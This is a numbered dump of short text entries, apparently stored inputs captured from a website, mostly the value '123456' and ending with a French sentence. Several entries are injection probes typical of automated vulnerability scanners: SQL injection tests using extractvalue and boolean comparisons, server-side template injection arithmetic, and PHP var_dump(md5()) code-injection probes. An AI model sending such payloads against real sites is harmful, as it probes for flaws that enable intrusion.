774. 

     123456

---

775. 

     123456

---

776. 

     123456

---

777. 

     123456

---

778. 

     ${(858471174+978848674)?c}

---

779. 

     123456'and/**/extractvalue(1,concat(char(126),md5(1302833109)))and'

---

780. 

     123456

---

781. 

     123456

---

782. 

     123456

---

783. 

     ${861674676+871348398}

---

784. 

     ${812876138+884225615}

---

785. 

     123456"and"g"="x

---

786. 

     '-var_dump(md5(128847339))-'

---

787. 

     123456

---

788. 

     /*1*/{{968484056+905692075}}

---

789. 

     123456"and"b"="b

---

790. 

     ${@var_dump(md5(689047850))};

---

791. 

     123456

---

792. 

     123456

---

793. 

     123456'and'm'='q

---

794. 

     123456

---

795. 

     123456

---

796. 

     123456'and't'='t

---

797. 

     123456

---

798. 

     123456/**/and+0=8

---

799. 

     123456

---

800. 

     123456/**/and+1=1

---

801. 

     123456

---

802. 

     123456

---

803. 

     123456

---

804. 

     123456

---

805. 

     123456

---

806. 

     123456

---

807. 

     123456

---

808. 

     123456

---

809. 

     C'est une bonne nouvelle

---